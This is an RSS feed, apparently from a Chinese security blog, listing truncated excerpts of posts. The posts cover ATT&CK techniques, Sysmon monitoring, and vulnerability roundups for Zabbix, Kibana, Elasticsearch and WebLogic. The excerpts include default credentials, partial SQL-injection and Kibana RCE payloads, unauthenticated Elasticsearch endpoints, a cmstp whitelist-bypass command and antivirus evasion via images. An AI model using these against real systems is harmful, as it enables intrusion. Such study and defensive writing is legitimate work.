<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[sojrs_sec的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/sojrs_sec</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; sojrs_sec]]></copyright><item><title><![CDATA[ATT & CK 阶段之Persistence -- Scheduled Task]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/106080055</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/106080055</guid><author>sojrs_sec</author><pubDate>Tue, 12 May 2020 16:55:38 +0800</pubDate><description><![CDATA[前言
在黑客攻击某台机器之后，为了防止会话中断而失去机器的控制权限，黑客常会通过计划任务的手段来维持自身的权限。在Windows系统中，常通过at;schtasks进行设置。
常见攻击方式

at
schtasks
cron

缓解方式

审计
系统配置，禁用system权限执行计划任务
授权账号管理。只允许管理员相关用户配置计划任务

检测方式
监控相关进程的执行和命令行参数。如win10监控svchost.exe，而更早版本的使用taskeng.exe，计划任务存储在%systemroot%\Syste]]></description><category></category></item><item><title><![CDATA[ATT & CK 阶段之Execution -- WMI]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/106024318</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/106024318</guid><author>sojrs_sec</author><pubDate>Sat, 09 May 2020 17:35:04 +0800</pubDate><description><![CDATA[WMI简介
Windows Management Instrumentation:是Windows管理功能，主要是为本地和远程访问Windows系统组件提供环境。依靠于Wmi服务进行本地或远程访问，同时需要SMB及RPCS(135端口)进行远程访问。攻击者通过WMI可以进行远程交互，用于后续渗透的信息收集或远程执行命令。
缓解措施

特权账号管理，防止系统账号和特权账号凭证相同
用户账号管理：默认只有管理员账号才可以通过WMI远程连接。可严格控制所有用户无法通过WMI远程连接

检测方式

网络监控：监控使]]></description><category></category></item><item><title><![CDATA[ATT & CK 阶段之 Execution -- CMSTP]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/106011378</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/106011378</guid><author>sojrs_sec</author><pubDate>Sat, 09 May 2020 08:45:03 +0800</pubDate><description><![CDATA[前言
ATT&amp;CK 阶段之Executon即执行：当黑客入侵成功之后，往往会通过一系列的命令去获取信息、创建持续性会话。本文主要讲解通过cmstp.exe命令执行，调用恶意的dll或者com脚本(sct)。这种方式可以绕过applocker或者其他白名单的防御方式以及UAC.
cmstp基本命令使用
cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt

在cmd中执行cmstp.exe -h

安装配置
cmstp.e]]></description><category></category></item><item><title><![CDATA[使用sysmon监控日志进行分析]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/105984811</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/105984811</guid><author>sojrs_sec</author><pubDate>Thu, 07 May 2020 23:51:56 +0800</pubDate><description><![CDATA[前沿
在ATT &amp; CK分析过程中，经常会涉及到进程执行的流程分析，通过常规的工具检查有点低效，听说sysmon可以实现该功能，于是尝试安装看看
sysmon安装
工具下载地址：https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
下载后放置本地桌面目录，管理员启动cmd切换到本地目录,注册sysmon
sysmon6...]]></description><category></category></item><item><title><![CDATA[inf 格式详解]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/105984494</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/105984494</guid><author>sojrs_sec</author><pubDate>Thu, 07 May 2020 23:28:40 +0800</pubDate><description><![CDATA[概况
在ATT&amp;CK 战术学习中，我们经常会看到使用inf安装文件进行绕过从而达到命令执行效果的情况，从网络上包括微软官方，发现对inf中涉及到的sections内容不是很完整，sections里面的条目的材料就更少了，本文简单介绍一种方法去了解inf中涉及到的sections及条目
常用inf格式
首先我们来看一个黑客经常利用的inf文档
[version]
Signature=$chi...]]></description><category></category></item><item><title><![CDATA[零信任实践之单包认证(SPA)]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/105706564</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/105706564</guid><author>sojrs_sec</author><pubDate>Thu, 23 Apr 2020 14:08:35 +0800</pubDate><description><![CDATA[概况
随着零信任概念的越来越火热，产业界也都在考虑如何将零信任的理念落地到实践中。这其中SDP推动零信任的实践路上走出了一大步，所谓SDP又称软件定义边界，理论上来说可以替代传统的物理边界。SDP边界之间自有一套自己的认证和授权体系,与传统的通过账号密码认证不同。在这众多认证和授权体系当中，我们有必要了解一下SPA即单包认证的思路和实践
SPA/PK是什么
Port Knocking[PK]:字面...]]></description><category></category></item><item><title><![CDATA[ATT & CK 阶段之Initial Access --Exploit Public-Facing Application]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/105659280</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/105659280</guid><author>sojrs_sec</author><pubDate>Tue, 21 Apr 2020 15:30:17 +0800</pubDate><description><![CDATA[Exploit Public-Facing Application：即攻击对外开放的服务。这些服务通常为Web，也可能是数据库、标准服务如SMB、SSH 或者其他通过sockets能访问到的服务。
可选择的攻击手法
对外开放的服务主要以Web和数据库为主，针对这两种类型，可以关注owasp top 10以及CWE top 25

Owasp top 10

注入。如sql注入，OS注入，LDAP注...]]></description><category></category></item><item><title><![CDATA[ATT & CK 阶段之 Initial Access --Drive-by Compromise]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/105634010</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/105634010</guid><author>sojrs_sec</author><pubDate>Mon, 20 Apr 2020 14:17:39 +0800</pubDate><description><![CDATA[Drive-by Compromise:通过受害者正常浏览网页去获取系统控制权限的一种技术手段。既可以通过浏览器或网页直接进行攻击，也可通过网页去获取相关认证的凭证
可选择的攻击手法

通过前端代码注入，如JS\IFrame\CSS
通过正常的广告渠道付费进行传播恶意广告内容
通过网页的交互页面插入恶意代码或对象，该代码可在其他用户端展示，如评论区、公告区

典型的攻击流程

受害者访问一个被黑客...]]></description><category></category></item><item><title><![CDATA[在线转文字工具推荐]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/105457954</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/105457954</guid><author>sojrs_sec</author><pubDate>Sat, 11 Apr 2020 19:22:53 +0800</pubDate><description><![CDATA[最近工作需要，经常要用到图片转文字的功能，网上找了一波。这个在线网站还挺好用的，虽然页面有点简陋，识别精度很高

修图狗：http://xiutugou.com/
]]></description><category></category></item><item><title><![CDATA[burpsuite配合sqlmap自动sql注入探测]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103783758</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103783758</guid><author>sojrs_sec</author><pubDate>Tue, 31 Dec 2019 15:44:45 +0800</pubDate><description><![CDATA[环境macbook
Python
Sqlmap
Burp suite1.7.37
一：安装sqlmap
Git clone https://github.com/sqlmapproject/sqlmap.git
放置在/opt/sqlmap目录
Vim ~/.bash_profile
添加
alias sqlmap='python /opt/sqlmap/sqlmap.py’
保存
Source ...]]></description><category></category></item><item><title><![CDATA[zabbix 漏洞收集总结]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103782432</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103782432</guid><author>sojrs_sec</author><pubDate>Tue, 31 Dec 2019 14:42:49 +0800</pubDate><description><![CDATA[一： 弱口令/默认账号
admin:zabbix
Admin:zabbix
guest: 空

二： sql注入(ave-2016-10134)
版本
2.2.x
3.3.0-3.03
1
http://192.168.239.24/latest.php?output=ajax&amp;sid=bb3e723dc1a917a2&amp;favobj=toggle&amp;toggle_open_s...]]></description><category></category></item><item><title><![CDATA[kibana 漏洞收集总结]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103781497</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103781497</guid><author>sojrs_sec</author><pubDate>Tue, 31 Dec 2019 13:55:40 +0800</pubDate><description><![CDATA[一：cve-2019-7609 命令执行
Kibana存在远程代码执行漏洞，影响版本为5.6.15和6.6.0之前的所有版本。拥有Kibana的Timelion模块访问权限的人可以以Kibana的运行权限执行任意代码，包括反弹shell
访问
http://ip:5601/app/timelion

输入payload
.es(*).props(label.__proto__.env.AAAA='...]]></description><category></category></item><item><title><![CDATA[Elasticsearch 漏洞收集总结]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103780988</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103780988</guid><author>sojrs_sec</author><pubDate>Tue, 31 Dec 2019 13:12:41 +0800</pubDate><description><![CDATA[一：未授权访问获取敏感信息
/_cat/indices
/_plugin/sql/
/_nodes
/_search
/_search?preety
/_status

二：目录遍历漏洞（cve-2015-3337)
安装“site”功能的插件后，插件目录使用…/向上跳转，导致目录穿越漏洞，可读取任意文件。未安装site功能插件的不受影响
/_cat/plugins：查看所有已安装的插件
一般复现...]]></description><category></category></item><item><title><![CDATA[ysoserial 动态调试]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103688805</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103688805</guid><author>sojrs_sec</author><pubDate>Tue, 24 Dec 2019 19:53:03 +0800</pubDate><description><![CDATA[前言
在尝试对cve-2018-2628反序列化漏洞做分析的时候，发现一个比较重要的概念是JRMP，而在ysoserial中已经实现了JRMP的客户端和服务端，所以想可以直接进行动态调试一下，大概了解下JRMP的机制，下面简单讲一下ysoserial的调试方法
调试步骤：
Cve-2018-2628需要开启JRMPListener以及JRMPClient，这里我以调试JRMPClient为例，参照...]]></description><category></category></item><item><title><![CDATA[weblogic cve-2018-2628复现]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103684445</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103684445</guid><author>sojrs_sec</author><pubDate>Tue, 24 Dec 2019 16:03:17 +0800</pubDate><description><![CDATA[前言
前面有分析过cve-2017-10271的xml反序列化漏洞，这次挑了cve-2018-2628尝试着分析看看，相比较xml反序列化只要一个http包而言，T3协议的反序列化利用过程显得更加复杂一些，因此在正式分析之前，这里做个简单先把复现的过程记录一下
环境
被攻击机
192.168.99.37
Ubuntu16
Vulhub
攻击机
Mac
192.168.96.111
复现步骤
Ubu...]]></description><category></category></item><item><title><![CDATA[协议分析之python实现TCP代理]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103680224</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103680224</guid><author>sojrs_sec</author><pubDate>Tue, 24 Dec 2019 11:28:00 +0800</pubDate><description><![CDATA[前言
之前有个业务，要求拦截特定的流量，并根据其特征测试拦截效果，本身流量分析用wireshark和tcpdump就挺好用的，无奈要测试拦截效果。所以需要自己实现一下简单的代理，并对相关包自己做处理，网上找到一篇写的挺好的，防走丢，转过来保存下
代码实现
import socket
import sys
# usage: ./proxy.py [localhost] [localport] [re...]]></description><category></category></item><item><title><![CDATA[图片隐藏恶意代码绕过杀软之PSImage]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103677940</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103677940</guid><author>sojrs_sec</author><pubDate>Tue, 24 Dec 2019 09:57:23 +0800</pubDate><description><![CDATA[前言
随着现在杀毒软件的不断更新和升级，如何才能把恶意代码上传到攻击者的服务器而不被杀毒软件所查杀，恐怕是黑产相关人员永远绕不过的话题。最近看到一则消息，有一款挖矿病毒【MyKingz】为了隐藏自身的恶意代码，将代码隐藏在taylor swift的图像中，以实现免杀的效果。接下来我将以实例演示，看看恶意代码是如何隐藏在图片中并进行调用的
恶意代码隐藏实例及演示
环境
windows server ...]]></description><category></category></item><item><title><![CDATA[invoke-PSImage.ps1源码解读]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103667959</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103667959</guid><author>sojrs_sec</author><pubDate>Mon, 23 Dec 2019 20:34:28 +0800</pubDate><description><![CDATA[[CmdletBinding()] Param (
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $Script,
        [Parameter(Position = 1, Mandatory = $True)]
        [String]
        $Out,
   ...]]></description><category></category></item><item><title><![CDATA[xunfeng(巡风)源码解读之vulscan]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103368463</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103368463</guid><author>sojrs_sec</author><pubDate>Tue, 03 Dec 2019 15:37:32 +0800</pubDate><description><![CDATA[以前搭建过好几次xunfeng，也看过几次他的源码，最近团队准备做巡风的二次开发，就要再好好看下他的源码了，我们知道巡风主要有两个功能，资产发现和漏洞扫描，我主要负责漏洞扫描这块，就先简单记录下这块的大致流程
一：看源码tip
看源码，第一步看他的启动程序，可以看run.sh，巡风的启动程序主要就五块
mongodb启动：这里mongodb可以直接用二进制文件启动，导入导出，默认启动在本地的655...]]></description><category></category></item><item><title><![CDATA[weblogic cve-2017-10271 反序列化详细调试]]></title><link>https://blog.youkuaiyun.com/sojrs_sec/article/details/103367511</link><guid>https://blog.youkuaiyun.com/sojrs_sec/article/details/103367511</guid><author>sojrs_sec</author><pubDate>Tue, 03 Dec 2019 15:02:21 +0800</pubDate><description><![CDATA[使用cve-2017-10271的poc打，看回显包
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 192.168.99.37:7001
Content-Type: text/xml
Content-Length: 987

&lt;?xml version="1.0"?&gt;
&lt;soapenv:Envelope xmlns:soa...]]></description><category></category></item></channel></rss>